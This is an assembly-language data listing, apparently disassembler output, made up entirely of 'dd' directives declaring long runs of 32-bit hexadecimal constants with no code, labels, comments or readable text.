		dd 5CF3BF66h, 0BC05D1Fh, 6CCAC8B3h, 0AF2EF16h, 0C30110A1h
		dd 0CC2F03DDh, 33D0FD31h, 0BAB2798Bh, 53EB3A9Dh, 5B155015h
		dd 4DF05C0Ah, 443CA410h, 0DD244FB3h, 0D36A2FB3h, 6045BB02h
		dd 0B0DDAEB1h, 40A19D22h, 10BF611Bh, 84CFF4h, 295026E4h
		dd 9FBB90AAh, 22370312h, 5B989AC4h, 0C994DEh, 0F02B68F5h
		dd 10BD3F33h, 1538F0Bh,	0A6418DABh, 0D50E5CD9h,	0A0413F21h
		dd 3F2CF3D4h, 0B29B343Bh, 0E43E7A73h, 27A28451h, 5C0C647h
		dd 137846EBh, 0F26E1006h, 889B5B4Bh, 3265ABC0h,	8E09DF22h
		dd 0C660A4B0h, 2861EE72h, 0E98D92B2h, 0BE59947Fh, 0C22FE39Dh
		dd 657F1C42h, 584FABD2h, 1F5FB370h, 9F2C1FE0h, 1A9196B7h
		dd 0A5486D80h, 1827725Ah, 6498EDAFh, 0D310671Ah, 2EE29ACh
		dd 0BD3132FDh, 28F5307Dh, 0F62788E8h, 0A9FCA71Fh, 5E1452D6h
		dd 6FE0DB27h, 0C10199BBh, 6096687Bh, 1728CC8Ah,	0D77F8480h
		dd 0E0039B6h, 0F3CFE7B4h, 15E013A5h, 73965061h,	0D303F0ACh
		dd 8B3AB9CBh, 7EDA9239h, 9D236157h, 2F677571h, 625391CAh
		dd 8896A800h, 71FAD9DCh, 64EC2701h, 8DD3329Ch, 9C5069E8h
		dd 8B8B667Eh, 17649097h, 0CBF102F4h, 4830A457h,	4F3B5C60h
		dd 128B5B38h, 7121DD8Ah, 96F36B7h, 83F9FF77h, 6E90F98Fh
		dd 0E155118Fh, 0DCC6BD6Fh, 0A00D3B00h, 0FC4F1D7h, 0F47D629h
		dd 0FF502C20h, 0D1F29BD0h, 5390612Fh, 0B3FD7082h, 38C47A0Bh
		dd 2BA7FC0Dh, 0B5A820FBh, 0EE61FF24h, 800166Eh,	4B75E4E9h
		dd 0F51717DAh, 0C9AE60EDh, 4B23ABh, 0C9535570h,	193E758h
		dd 0EA084D78h, 3F61F85Ah, 5FE813E2h, 0DBD34000h, 90D17753h
		dd 9D8B0872h, 35790D91h, 91840138h, 0FAE90910h,	78979BCFh
		dd 72B199D6h, 0B24F5E80h, 27CCFA82h, 0B4E71755h, 40BF1F5Ch
		dd 0F3B42EEh, 89710589h, 0F930FF89h, 53D14495h,	7EB96BE9h
		dd 0D59086B9h, 534CA1B3h, 4491341h, 15C985B2h, 4D4BB7F9h
		dd 0BA3DC068h, 609F605h, 0F822F376h, 2C3D9D2Ch,	0DB138680h
		dd 0D0EC93h, 0D8BB106Eh, 8B423268h, 0DCCCF84Fh,	0F78102F9h
		dd 1E4592EFh, 3E8D1E61h, 4801568Ah, 0BFBACFD8h,	89EA4062h
		dd 961D46F1h, 8BAF95AEh, 75960h, 0A03D31C8h, 5F56F967h
		dd 9509049Ch, 2DBE0191h, 0B17A66FFh, 9659D0C8h,	40957760h
		dd 81395311h, 1FD805DFh, 71EA5F5Ah, 3F02797Eh, 6A6EAB2Dh
		dd 6FF8042Fh, 97F08271h, 1F90452h, 0FD1BD59Dh, 93ACD2A7h
		dd 801E0380h, 1704B1C3h, 0C0A4A792h, 8B27B3FCh,	7D6985F6h
		dd 2700DA35h, 3BCFBF7Dh, 0FD032F92h, 0E2DBC40h,	0B5B85D82h
		dd 8B9FD919h, 0D87FDB8Eh, 2669F834h, 0F94FA83Ch, 618D01C0h
		dd 5AC4B61Bh, 7A50F2D3h, 2FA702A3h, 96210CF1h, 0BF0785D8h
		dd 51D9B0C4h, 318AC39Ah, 2B42432Dh, 7C53429Dh, 0B782E95Dh
		dd 5E7E5939h, 0C80F6551h, 0B6C2C01Bh, 5E04A07Eh, 0B7D66EFEh
		dd 999DBD81h, 962D526Ch, 5030EAC6h, 0B60A8A60h,	6E7BFD61h
		dd 36700274h, 0D7B89E8Dh, 0F01809C0h, 0DF2C6297h, 8F7E3A0Bh
		dd 0F1C46D6h, 0E03C8384h, 23CE08C1h, 86C9DE5h, 244BBD71h
		dd 7BD42CEDh, 38E797C0h, 0E31F3156h, 405ABCBDh,	0A9CFD597h
		dd 6966F76Bh, 0C59D0312h, 62B55792h, 2A96DFDFh,	5C60ADADh
		dd 6A80EE5h, 0EFA7E3D3h, 4527F287h, 169CE71Fh, 0EC5FED52h
		dd 0D88A2726h, 5595B4E6h, 71E2889Bh, 0C613A37Eh, 0FBE892A9h
		dd 6EB3D813h, 15B2CBF7h, 421E8A33h, 27D9DA3Bh, 0AFF6F6E9h
		dd 70B95325h, 56007876h, 0E7864B71h, 0BEC18BA1h, 0F000DC2Dh
		dd 0D3D6DD99h, 12183391h, 0E369B786h, 51012F23h, 0BDC2E41h
		dd 46D7DC8Ah, 3DDB9B7h,	3429E2BEh, 1CB1A690h, 0F79EE990h
		dd 95AA5FC6h, 0E6070B05h, 58DF0007h, 1CEB4DADh,	0A2290018h
		dd 0AC48AEF3h, 0DA2F354Ch, 1A7DF851h, 4A2AB016h, 7DEFBD6h
		dd 0A7AE9819h, 1B8F30F0h, 0F6BC4D81h, 81400C10h, 19092527h
		dd 0EB78A9D3h, 0BCD712C5h, 5BEBB1CBh, 0B0BECF1Dh, 271AA910h
		dd 0C8011050h, 0F6EC09h, 0AB7C5FBEh, 88E40604h,	2BCBAA55h
		dd 45440136h, 84C017F5h, 2B43B115h, 0ECA014A7h,	0D44AC496h
		dd 9A7BECDDh, 0C19897DCh, 0C58B010h, 54A1FB45h,	1E4A79ACh
		dd 2241F3DDh, 0FF000A69h, 6DF00BD1h, 0CA80D4Bh,	0E7CFC4E2h
		dd 404BAFC2h, 3159B56Bh, 397F1413h, 0BD0D892Ah,	6A1D22EDh
		dd 4ED7702h, 2251BBC0h,	2C6409BCh, 85DDB859h, 30E4D1ECh
		dd 0D9A15485h, 4C59261h, 940EB2BBh, 0DF49EB7Fh,	0D8CB1AFAh
		dd 0F43595E2h, 0DB801C91h, 0CBF04AD2h, 0DE3FE404h, 0CCFF6011h
		dd 8513336Fh, 60FE34B1h, 0CDF71863h, 0D9EE3Eh, 8543E2Ah
		dd 5FE09EBh, 0E961A9E7h, 0BE38BF01h, 97BC9031h,	0C878EEFBh
		dd 6AFC014Fh, 5EAF97ADh, 61D541B3h, 1673290Ch, 0D8FD1935h
		dd 0E1E151C9h, 905F0104h, 47006A33h, 841A64C2h,	9B4FFF41h
		dd 69C065ACh, 0A38CC120h, 15B11102h, 745F4871h,	530D4478h
		dd 54D740FEh, 5BC791Dh,	1133580Ah, 5425DDE1h, 7B78692Fh
		dd 2EDEDE81h, 0F9B94053h, 0B20BAAECh, 60898D09h, 34BD03A5h
		dd 0FE0C266Dh, 0D8972EDBh, 42973972h, 423A5F36h, 5D4064EDh
		dd 13B1C880h, 0A803276Eh, 0A1298033h, 75670B07h, 9BFD00FFh
		dd 0E250994Dh, 952E317Bh, 5F806DE1h, 55CBEB81h,	6A2A2DCDh
		dd 94E064EDh, 28D2005h,	9B75AD8h, 0D652A595h, 4061B538h
		dd 0C5851229h, 86AFE202h, 4FB9010Fh, 38E7E9B5h,	0E38100B0h
		dd 15C82A46h, 0D1BD5E31h, 8870E61Bh, 90779C8h, 540271E4h
		dd 99DF2099h, 0A7A4E3E5h, 145A270Bh, 33A58595h,	60D921EEh
		dd 3161C956h, 25649003h, 0AB1A9778h, 22DFC462h,	191B09C9h
		dd 0D0166F50h, 8913C9F8h, 0C242FEB5h, 0F556C82Bh, 0BF850779h
		dd 84BF0220h, 6032A065h, 8E4FE9E2h, 32CB5720h, 9DAB802h
		dd 47554C50h, 0B80EC824h, 0DBBC92AAh, 0E955C475h, 0F9808295h
		dd 1791AC5Ch, 10759062h, 4B5BE903h, 7248D17h, 2BF51DA4h
		dd 128AB336h, 0E2410CCFh, 43B22A6h, 2A4C9EBFh, 93A2B917h
		dd 8F4449ECh, 60955189h, 0F480237Ch, 27C866A7h,	0AA1ECD00h
		dd 7C928AFFh, 0EF6B00ECh, 81FEF23Bh, 0F709BAC3h, 735F6172h
		dd 76FF08BFh, 0E2DC032Eh, 0D4075D8h, 2EB6F283h,	0E0572AB0h
		dd 10001B2h, 0F2230DE4h, 0BB056C16h, 0A3B85F1h,	0F2EEDF8h
		dd 984A387Fh, 0B3C398Fh, 84440061h, 1BD26BBh, 4F97034Dh
		dd 0B01D15F5h, 0DFFB8194h, 0A9E66F5Bh, 48E6B5h,	38634CD2h
		dd 0B876CA2h, 107AB9DAh, 2F4C9F6h, 38F98E46h, 284045E8h
		dd 1293321Eh, 0AE092312h, 0C7507E16h, 41B741D8h, 76C97A09h
		dd 0EA5E0139h, 71056Eh,	58F6DFDAh, 10CF800Ah, 0BAFC8A12h
		dd 6516A8B3h, 0F285FD34h, 44215E29h, 9D9ABAD8h,	0CDC01B88h
		dd 3EC69C38h, 97F4BE1Ah, 1A918F35h, 1EC58080h, 1F268FD2h
		dd 49093CEFh, 0E6627E26h, 5164F052h, 0CBFE5F0Fh, 41FDD3EAh
		dd 0D24F6A8h, 0DF07FA2Dh
		dd 84A99B5Ch, 55EB0191h, 60BCB8AAh, 203E5E0Ch, 905C52CCh
		dd 0D5EF252Eh, 4811BEC5h, 5BF38263h, 984B3CCh, 2993C380h
		dd 0D05B7B2Eh, 94040DE7h, 5A60AB08h, 76D8C7B8h,	86799DD7h
		dd 0C704E176h, 6B8B3C3Ah, 57A28DB8h, 19088A2Ah,	399B200Eh
		dd 6BA5EF68h, 591A7BC5h, 23ED7F32h, 908855E3h, 979B9C5Bh
		dd 0F5749614h, 54D945BBh, 22B5E370h, 0B4B09A9h,	0DF607B22h
		dd 7A1355B7h, 6285E1E0h, 1C2D5E01h, 4C75809h, 98EBDDBBh
		dd 849DB865h, 0EB6219EDh, 0A50C5129h, 17646E6Dh, 0E2065A60h
		dd 1250612Fh, 0D064DF32h, 7ECE497h, 0A1DAA5C8h,	2D3CE052h
		dd 5EBF5B17h, 0F402F42Dh, 57648579h, 20E57277h,	29120435h
		dd 0B583318Dh, 9BA0BF68h, 0C76BFBEh, 810B457Ah,	0EF17D678h
		dd 1DBD4183h, 7597C4B9h, 0A9AD9C00h, 1B3BB7Eh, 990D4B2Ch
		dd 1520E2A7h, 6FF232h, 847FBB2Bh, 233A2194h, 0A48C314Bh
		dd 5B504C52h, 5F2F407Bh, 0D9E368E3h, 0EB52DDE4h, 5C7AE2E9h
		dd 8B594904h, 807EB725h, 96CEC5B0h, 552EC966h, 0DB2D7E62h
		dd 0A1372F9Ch, 0AF83E500h, 27C2FE6Ah, 6C59F035h, 2885803Bh
		dd 0C5C9F65Eh, 7520021Dh, 0B6AE793Fh, 26E9E28Fh, 1D79C373h
		dd 0A4006518h, 7C76390Eh, 736CB790h, 8D5F4B4Ah,	2EF02BC8h
		dd 10D4049h, 7EC59527h,	0A68992F6h, 4AF620h, 0B7102540h
		dd 0C7BF14ECh, 7F8F1D12h, 0E280C464h, 4B89AEACh, 0BCA5B946h
		dd 863109A3h, 435CDAFDh, 66902540h, 96BB2713h, 0DEA705F9h
		dd 9D9C60FDh, 0CCA66B82h, 8D755E00h, 2D1545DBh,	4B3B0296h
		dd 0A01B9070h, 6853F541h, 81A38096h, 4A4B05h, 8A6E6AFFh
		dd 4787CF3Bh, 3012FEBDh, 5B4860DCh, 0CDBF96E2h,	2239C0A2h
		dd 42139C54h, 80098BCDh, 7F26E2D1h, 0FC502265h,	0A10701E7h
		dd 5D4B0675h, 2B5EE64Fh, 0B5F88A50h, 145C0A42h,	58400944h
		dd 9ED65E88h, 974AF302h, 5C5250B2h, 31CF6EFCh, 0B483FE37h
		dd 59BB808Bh, 366728FBh, 892CFB7Dh, 90208D4Bh, 0A05A02EBh
		dd 0F545312Dh, 0A377276Ah, 37F82C3Bh, 0C003D25h, 55A1672Dh
		dd 9D0210Ah, 1974F04Dh,	33414DB2h, 6103C2A5h, 6F5A12F9h
		dd 0D3C0E269h, 0C0007CB2h, 13F8F7DDh, 0B3044FC5h, 0D4F9F24Ch
		dd 54A3D2ACh, 0B7550B87h, 0D94382D6h, 0C7D63B97h, 0C6E23412h
		dd 0A42FF693h, 0C13F79E5h, 60253EE6h, 1F4119CBh, 0BE79A63Fh
		dd 651A605Ah, 89250261h, 78627F8Dh, 3137F7h, 0ECF7E1BEh
		dd 61127654h, 0FEE2036Dh, 13042984h, 1C80BAF8h,	8BEC9CFEh
		dd 0FCBF1B02h, 45463388h, 3A0C9A19h, 0DC30545Dh, 0FD3D8997h
		dd 0DCBB0F30h, 76842001h, 0F3A9C381h, 312F42FDh, 0C422BF09h
		dd 3897763Dh, 8204A955h, 256184D7h, 2DA92DBFh, 1B3A831h
		dd 7B51D260h, 6FABAE94h, 0FA136B05h, 0BD8A94EAh, 5D0B8EFh
		dd 871FB789h, 0C809AA97h, 842B5B11h, 0B9F9BF0Fh, 446AD7ECh
		dd 0B8B1A17h, 0B46C1351h, 0D0108800h, 6729C7C2h, 0EA46013Dh
		dd 0C3DEA1AEh, 0BAB054F7h, 5AE89AA9h, 33E96102h, 602A7C50h
		dd 0B70C198Ch, 5A7015E5h, 0F9B083Dh, 5EA70D8Eh,	3121084Dh
		dd 0D974D420h, 0F961BE2Dh, 9A3A428h, 567B0755h,	0C3E730B0h
		dd 606A9C84h, 0F6A33BBFh, 27C42F4Bh, 0D5B825ADh, 0B10ECB71h
		dd 0C486D70Fh, 79F83E22h, 7625B680h, 64005950h,	0DC495EBh
		dd 0BF5C6603h, 20F2EECBh, 5D701053h, 79400185h,	0FA0228B9h
		dd 0E53C5060h, 620038A3h, 0B08CE0C4h, 5DD55F2h,	0AC225BAh
		dd 44891FA8h, 0FE61DFE3h, 6A6AD5DDh, 21580BD9h,	2560FB96h
		dd 0C2BF95C6h, 27257161h, 1D40C050h, 51952D09h,	14D1C3DBh
		dd 0E2920F18h, 28B0DCEAh, 530D1127h, 181B7927h,	0DF321FF0h
		dd 0B6FAE1Eh, 4BF7F534h, 243BBCE2h, 6AC01F17h, 4DBC4E58h
		dd 0D3C195F5h, 6F74CC47h, 15C85ADAh, 0C237F3C2h, 0B235EB05h
		dd 89D5D981h, 0E9791B47h, 130E3347h, 9F00AC7Ah,	0D8158E6Ah
		dd 660F6312h, 0A09689B7h, 0E6AF0DBFh, 0A21EF0Ch, 0FC5E11C5h
		dd 8FC01788h, 0BF15E72Ah, 0A9720189h, 0D0BE7BB5h, 0EBFCBEEDh
		dd 1759F50Ah, 78E0CF6Ah, 7B6E2CDCh, 160D2501h, 0B3969AEEh
		dd 0CB6A0A40h, 0CCEE3D76h, 0CA4BB0BEh, 0B03D227Eh, 97A572FAh
		dd 3D888453h, 0CB80020Eh, 0B37BC618h, 50E4CD0h,	53FEDDF1h
		dd 707EF90Fh, 94699697h, 62D8404Eh, 11002224h, 0C933F042h
		dd 25E9F978h, 0ED57F357h, 0F0E0E764h, 1B9B4389h, 1987CD5Ch
		dd 0C1F52FA5h, 0B801C46Bh, 0B390C238h, 0DE8E7543h, 6F12D72Fh
		dd 0DF9B1288h, 968D3E08h, 0F04FE66Ah, 8429DDCh,	19998D29h
		dd 9004662Eh, 66E96A70h, 0F560C2BCh, 1918CAF8h,	3C069606h
		dd 18E2ABA5h, 0C0C66D57h, 8BDEDAA0h, 0BF90FE00h, 4FCD106Eh
		dd 8C0F2F50h, 5D69395Ch, 270E7FBh, 924C0053h, 0BA28011Eh
		dd 50CDCB42h, 12E0650h,	0C19D23C9h, 0E2BB4901h,	552F42DFh
		dd 149101B7h, 27B9589h,	771BD04h, 12166F25h, 19F21471h
		dd 0AAAE4E88h, 40EE4647h, 6AB83BADh, 0B5290902h, 13C412A5h
		dd 950A4022h, 700B6B7h,	63FBA866h, 0D4F705D9h, 0BEFC562Dh
		dd 0F381A360h, 7F620426h, 3C24E920h, 9B2C92D4h,	73887858h
		dd 0C1B2BE2Dh, 14081A26h, 0EBFC6A89h, 0C9100037h, 450E386Fh
		dd 0D00034AAh, 292001E6h, 27EF1DDAh, 90D1895Ah,	74BF6112h
		dd 0A889BD92h, 5AFB4C30h, 0C9A501C0h, 0A30060AAh, 47F07685h
		dd 52699D09h, 8B15CB0Bh, 0B316CAF8h, 0B470FB3Ch, 953B13BFh
		dd 197138FBh, 781E2818h, 90C0AF08h, 99A5CB81h, 562D5853h
		dd 97B1E95Fh, 2A5CFC8h,	6571A82Ch, 0F9FFDE50h, 0EF8002C5h
		dd 4AC25B90h, 0CF376D77h, 9B97BF40h, 6CB00CAEh,	5F0D0926h
		dd 0C4B4E743h, 229C5CB9h, 0B0F88A1Ch, 6CF0BB00h, 4E66BADh
		dd 0C9BD0970h, 4E51B919h, 0E87FBDCDh, 57B492DCh, 38128BD9h
		dd 57E20EF5h, 0EDFCB325h, 0F8AD1892h, 11852981h, 67535301h
		dd 8A1481BDh, 51012EFCh, 34C99D33h, 0E2F7258Ch,	6B0BCF2Ah
		dd 2C82BDEh, 104BD31h, 0FCD18BFCh, 8F7984C3h, 0CAE93B3Fh
		dd 50005E7h, 0B4955BACh, 0B31EC2C4h, 86880A51h,	9491389h
		dd 84574404h, 2909073Eh, 56A30957h, 0A71AE20Bh,	5BC9E02Ch
		dd 41ABE31Dh, 0D4092F38h, 41352E9h, 2F5F1DBBh, 0EF98AF0Ah
		dd 324586DFh, 96885841h, 8055642Eh, 89EBB53Dh, 95589551h
		dd 80761236h, 0C04AC2E5h, 582A0EA6h, 7102A50Eh,	4D5C074Dh
		dd 18779C2h, 8B01800Fh,	7B6AF519h, 652578C9h, 0FDEB92A0h
		dd 6E6414Ah, 8D000922h,	0D090DF64h, 5B04F942h, 0D7E2C82Ch
		dd 4CCFFA12h, 5B5DB0EBh, 0EE7B912h, 3417ABAh, 0CD79BFE3h
		dd 3B8BCD9h, 0E07CB64Ah, 0D8F285h, 0D9C992F9h, 29FCD22Dh
		dd 6FDDBD24h, 0CDDBCFBBh, 0A1871980h, 6C0BD7F5h, 96B3D6Ah
		dd 978DA76h, 8D09C02Bh,	0D2C2AD93h, 4192CDB7h, 0D8BE004h
		dd 0EE6B70BAh, 6305D9E7h, 0AE1C6177h, 4AD0DBFEh, 0AAA8D7ADh
		dd 25D0DC5Ch, 0E24FDF11h, 1A31CF40h, 76BE004Fh,	0C2FCE75Bh
		dd 0DA778B56h, 0F9941197h, 0F672742Eh, 29A2A075h, 81134EF4h
		dd 2EDB746Ah, 91BB6E30h, 90267885h, 9F20EAFDh, 0FED12651h
		dd 0C51348Bh, 603E9C7Dh, 0D381894Fh, 0CF164458h, 6130B87Fh
		dd 972A38BBh, 1589011Ah, 24BDE35Eh, 0F4DE6DE1h,	0D4080077h
		dd 0CBAD56BCh, 0F54BB583h, 9C420E8h, 0FEC6C595h, 4112388Eh
		dd 0E80AA905h, 99E82F7Ch, 4656E61Ah, 9D052B50h,	0BD00EF3h
		dd 1CD81D9Fh, 0D98A4937h
		dd 459DE56h, 0E5541605h, 0DDAE0219h, 0F3AC5D54h, 3F2800DEh
		dd 0E4163AF2h, 0D05FABD8h, 7F5649C8h, 0EC0800BEh, 0E48F91F7h
		dd 0CA00DC83h, 0BCAB1468h, 4B1DEA5Fh, 0DAFCB8BFh, 73CA5F94h
		dd 4D254C56h, 5369C0EEh, 2F48BF9Dh, 0FBFE3B99h,	8056E95Ch
		dd 6203294Bh, 68ED092Dh, 7A705F5Bh, 704BF3B7h, 4C399951h
		dd 0F6F209BFh, 48A6C444h, 0CA1DD0B7h, 6DCB4085h, 88E780D5h
		dd 81A82297h, 0F474FC01h, 5A29307h, 9F29B2Eh, 0B1ECFDA1h
		dd 9DA7BBDh, 0D7711CF5h, 96355D69h, 91B0C106h, 34792054h
		dd 71C8504Fh, 0D61E0761h, 0A068545Eh, 0E5EBD435h, 8F0A2317h
		dd 0F54B4BA8h, 0DFB61BD3h, 89EF8E4Bh, 525FD8Dh,	0F0E8F66Ah
		dd 7FEB36E6h, 52D704EFh, 0A84388ADh, 46BFA0DBh,	416D1620h
		dd 8B293050h, 1D073680h, 0DC30D813h, 9660638Ch,	81BF402Dh
		dd 3200A409h, 674E856Bh, 865F48h, 0EFB90683h, 4B62A959h
		dd 12216695h, 0B98B615Bh, 82194C54h, 0E1FB15BFh, 0B62E5883h
		dd 9B56E043h, 13AE2F6Ch, 81C7D0F6h, 5EAD23E2h, 0E3516922h
		dd 0D9E14800h, 3AC915h,	0B6C89F3Bh, 5E2F8E64h, 90BE927h
		dd 70365BC4h, 3904EF19h, 0C6B7A865h, 0EF933EBCh, 2701B46Fh
		dd 609E9DC0h, 0FAC26B52h, 0FF5B0519h, 43B873C4h, 0C1059E5Fh
		dd 3B2F11D9h, 0AD26342Fh, 9BBA4AFFh, 0A49FC008h, 18536F8h
		dd 48FBEFABh, 6E89FC13h, 8E12726Fh, 902FED77h, 4691687h
		dd 81B828FFh, 0CE9FF305h, 27F64689h, 0BE1186F0h, 0AE0AC001h
		dd 79706A81h, 7EFAF421h, 0E5C440C3h, 65003726h,	0B85B71C6h
		dd 58A0E9DCh, 9C0C5593h, 34D8A755h, 1203245Ch, 0CBE1AC82h
		dd 767AAF2Eh, 0EDA56D00h, 0B6504DB0h, 278AFC4Ch, 0ADF45318h
		dd 2D00B365h, 0E1931E14h, 28667732h, 20A2C569h,	68012B11h
		dd 780B0E9h, 0EDF5B5BBh, 0BC8781D5h, 0C99FB316h, 9B785053h
		dd 452709D0h, 0E2715479h, 57880F89h, 1500A94Eh,	0F68451C5h
		dd 2D11E7h, 0A5FB6A5Ah,	0F129392Bh, 89D0E610h, 90173320h
		dd 2D7F88Bh, 3D8D0970h,	0C8A59F18h, 0FBDAFEDBh,	673018C9h
		dd 0B072B931h, 67966171h, 0B57EA0DCh, 0ED0B5FB9h, 0B8B6B5FAh
		dd 27A6F7A0h, 98A9CB4Fh, 4C6AEEE5h, 8473AE02h, 1FDE4D38h
		dd 212AE90Dh, 218CB67Eh, 0A5EE248Ch, 975C18C7h,	0F9BF6CE8h
		dd 74D61497h, 0D801B338h, 0D614AB66h, 0B2CA6421h, 4D65DF0Bh
		dd 0C3045712h, 0ECC93059h, 9533A5DCh, 0A8BED3CEh, 71867209h
		dd 0BD23821Ah, 0C45C1B9Dh, 310837EAh, 0A2961715h, 83C40096h
		dd 7A625EFCh, 0D2654FDh, 0C9EB0148h, 0EFCFB3A0h, 804A3C1Fh
		dd 89D9ED04h, 0C6391D3Eh, 0B58C1DDh, 0C45BF256h, 3F2EB750h
		dd 23905F96h, 4AD5D050h, 512A9C0Eh, 33BDBBFh, 9FC28060h
		dd 0AE42FCA2h, 0CDBB6D10h, 20C1D12h, 811E64E3h,	3AB144E7h
		dd 4F98AF60h, 4BF395D9h, 0CC181859h, 984CA10Ah,	0CD08ACABh
		dd 4B622516h, 0C1CE4DF5h, 45469EF3h, 8C24EBEAh,	947AABh
		dd 93E90141h, 2473CD3Ah, 2649EEDh, 2959D09h, 0D1963A57h
		dd 6ECB0063h, 0B64BC119h, 3609503h, 2D2A6185h, 2D6BBD91h
		dd 6DFF5FD2h, 9EBB692Dh, 0FFF5D9D8h, 0D6B92F12h, 0BBFC7003h
		dd 66E4172Ch, 0EE6FEB6Ah, 4552DB1Fh, 17E91AC7h,	27D5ACF5h
		dd 0F61974EAh, 0C2D4A600h, 0CC8A7923h, 0ED625BC5h, 0F1A49311h
		dd 15A700F9h, 66F5D617h, 7200B62Eh, 85BFCC7Ch, 253B18EFh
		dd 9290505Fh, 5B0127F6h, 0F7B3E846h, 474C5FEh, 49BD1329h
		dd 69559109h, 8F932201h, 37D8433h, 8212A2AEh, 5C7C13CFh
		dd 0B8F96447h, 0A125A21Bh, 74AEDF19h, 23A43F3Ah, 50B01514h
		dd 38296189h, 1959F153h, 18045518h, 0EDEACF08h,	0A512CEF0h
		dd 5BB1E89h, 0BF4554A8h, 0F4820B63h, 0AE38140h,	514A83F3h
		dd 1722EDCAh, 39850109h, 7394DF1Ch, 4860FB4Ch, 59C689A5h
		dd 0AB7E9C7h, 6B09BE80h, 16663AAAh, 0A2BAC2BBh,	0D7890345h
		dd 0D23D1890h, 24E556D6h, 2A150DA0h, 4047B9Dh, 0DDAE1675h
		dd 176B6CB5h, 8327731Eh, 0D5C78042h, 41CC0E09h,	32319D2Ch
		dd 56DB5FBFh, 80173FC6h, 1927D417h, 4A19A77Ah, 2B9F9A32h
		dd 7401A509h, 0F7804174h, 0CF017FB4h, 310FDE8Bh, 5A136433h
		dd 9200AAD9h, 5B520D64h, 0A844955Fh, 1C51AEA0h,	0BA6072A0h
		dd 0DE7D8B00h, 0E6A7B97Bh, 61452491h, 2E650A03h, 0C8C02D14h
		dd 55977A98h, 0FDA55B3Fh, 8498544Ch, 190C51D8h,	936E9531h
		dd 72FB7B7h, 0C0B7D820h, 2BEBF4A1h, 2BE3E298h, 56DAB334h
		dd 0B3A39C3h, 5143EFF0h, 652DBE25h, 7E9E12BAh, 7EE84E84h
		dd 7C20EF97h, 68B939h, 2F3CDCFDh, 36FC1B7Ch, 338CB100h
		dd 5BF953A5h, 90022F6Ah, 1A2D7AF9h, 63C2FF3Bh, 0FD05EF54h
		dd 37B6908Bh, 15ECE6E0h, 5A4E8E03h, 8A6638BFh, 0E8587626h
		dd 6027E2Ch, 0EB699B99h, 9CAFC98h, 0AD567FE9h, 8427DE70h
		dd 3862CFADh, 70F753F4h, 7C13C6A6h, 6BBED8C0h, 4142392h
		dd 0B290F5F7h, 970075E8h, 0DF7FBC4Bh, 12E1905h,	0C60B6867h
		dd 20F6AA4Fh, 0E09650DAh, 905BD904h, 858225FDh,	65572B61h
		dd 950102D5h, 13DE0AB5h, 739AEC89h, 84242113h, 0AE1FCDB5h
		dd 9556C7CBh, 19778BB0h, 0DBF376C1h, 8536FF6Ah,	0D0D7C9F0h
		dd 0BF1C630Bh, 571A85D8h, 4997C81h, 0F77A7Eh, 0D3150BEDh
		dd 984B8F5Eh, 0D970096Eh, 287360BEh, 51C8E717h,	0B0AD4A5Bh
		dd 0DE04C382h, 0E629A3D4h, 0AAB561C3h, 71E40203h, 493CD455h
		dd 0C345255Ah, 315FE56Bh, 0D5A62BA7h, 552A5048h, 138295B9h
		dd 0F5CEEB3h, 2B0DE2Fh,	0D18BFFBFh, 169A7B55h, 955D0EF8h
		dd 168DB519h, 53A6F788h, 6E4C1CE5h, 81B709C1h, 2A54F957h
		dd 28595B9h, 0B530FA51h, 40E19D29h, 22D05B16h, 82B05FE1h
		dd 2E5F8123h, 0F88A0D71h, 5BA99DF8h, 2BBE9908h,	0A1810D34h
		dd 0EB219141h, 0E38E817Bh, 16222E38h, 88BF212Bh, 2E20DDDAh
		dd 68BC1764h, 0E1221480h, 0A3143EB3h, 4B739589h, 0B095DE8h
		dd 75E2B1BDh, 48C30F56h, 0DBBEE49Ch, 0E292C1D0h, 9B2A6AB5h
		dd 0BACEC0ABh, 4CF4DFA8h, 422D5B9h, 0CFDA98A3h,	699D4DFFh
		dd 3100B9FBh, 9ECFDC36h, 0B6544B4Ah, 8ABF40A5h,	10B1907h
		dd 16EDC3B9h, 0D16E02Bh, 48205081h, 0FE48EB89h,	33797E1h
		dd 0DB9E6E83h, 0D98F883Ch, 0FC5C277Bh, 0B0A79D13h, 6A6E0A80h
		dd 0F6793701h, 5213AF42h, 40DACD3Fh, 0D22BF972h, 12DC12BCh
		dd 9F2645Ah, 0C45FEA14h, 594D95EEh, 420F59Ch, 0C7D2A2BBh
		dd 0B9A7AF4Eh, 2C9641E1h, 30268080h, 119F5Ah, 0D46A0D35h
		dd 84D9D89h, 1730CE9Dh,	0FA81CF80h, 3BB65474h, 43471AA0h
		dd 186A7901h, 0BEC81737h, 0D261CB2Ah, 886AAAh, 36A1D62Bh
		dd 27FA874Ch, 0A470A01Fh, 425383E6h, 0C0630084h, 69986AF9h
		dd 51AE045Ah, 0B857D380h, 6C59A223h, 0E60A4A6Dh, 0C0985870h
		dd 98D1CF35h, 0E05300F6h, 67C4C45h, 7702032Ch, 8AB39181h
		dd 0FF3AD55Bh, 1D42DF6h, 5945C7AEh, 16A1847h, 0E1122099h
		dd 318D2240h, 202D1C97h, 605A04EBh, 800427E3h, 0B8618BECh
		dd 80EEA214h, 8AE18118h, 0B0B85ABDh, 1E416136h,	5A7271D3h
		dd 8CE3A30Eh, 2814397h,	1EBB30DBh, 21026058h, 42BC5626h
		dd 4AFF68B3h, 3F1A7806h, 0B3CA399Dh, 0DDB02508h, 7D479FCFh
		dd 6330CBC7h, 97E83F26h, 12D30BF1h, 0BB5BF992h,	1823886Bh
		dd 0CAE3C801h, 8141E835h, 0EB2E34B5h, 0FF85E130h, 0D803093Fh
		dd 9F5B3D80h, 0D641A4h
		dd 92917032h, 8B516090h, 0FD5AC626h, 5E70BBE0h,	90500961h
		dd 72D4BDB3h, 689DE198h, 6D4805C2h, 815250E8h, 2FE39F15h
		dd 0A748BE97h, 882F4644h, 259EF36Ah, 1810584h, 17B1BB3Dh
		dd 7FF02F66h, 0DC04A7FAh, 0F30A0FCEh, 0FFC2C7E1h, 0E2702745h
		dd 0D2E0024Ah, 8E19A5D1h, 9140AD56h, 0F2A8D7h, 1EBCDC7Dh
		dd 0FD023D8Bh, 69BD7E00h, 605027B5h, 5BBF3989h,	0B399F92h
		dd 35FDFE16h, 381A9C42h, 138E0042h, 0F8A24C03h,	70E91214h
		dd 0A4E1E702h, 93BEE9BAh, 1D9071EAh, 0F6AE042Ch, 0A671A44Ch
		dd 6CF090B3h, 128CE4A1h, 0B3DA8A9Ch, 53A25A89h,	0C20EEAA8h
		dd 492E1EE9h, 0EF98F745h, 0FA5E8BFCh, 0BFD640F8h, 281CB04h
